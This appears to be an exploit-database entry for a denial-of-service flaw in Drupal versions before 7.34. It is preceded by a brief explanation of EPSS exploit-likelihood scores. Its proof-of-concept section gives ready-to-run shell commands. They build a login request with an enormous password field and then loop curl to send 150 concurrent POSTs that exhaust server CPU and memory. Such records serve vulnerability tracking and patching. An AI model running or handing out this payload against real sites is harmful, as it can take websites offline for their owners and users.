EPSS
EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.
EPSS Score
The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.
EPSS Percentile
The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Author : Javer Nieto & Andres Rojas
EDB Verified : No
====================================================================
DESCRIPTION:
====================================================================
A vulnerability present in Drupal < 7.34 allows an attacker to send
specially crafted requests resulting in CPU and memory exhaustion. This
may lead to the site becoming unavailable or unresponsive (denial of
service).
====================================================================
Time Line:
====================================================================
November 19, 2014 - A Drupal security update and the security advisory
is published.
====================================================================
Proof of Concept:
====================================================================
Generate a pyaload and try with a valid user:
echo -n "name=admin&pass=" > valid_user_payload && printf "%s"
{1..1000000} >> valid_user_payload && echo -n "&op=Log
in&form_id=user_login" >> valid_user_payload
Perform a Dos with a valid user:
for i in `seq 1 150`; do (curl --data @valid_user_payload
http://yoursite/drupal/?q=user --silent > /dev/null &); sleep 0.5; done
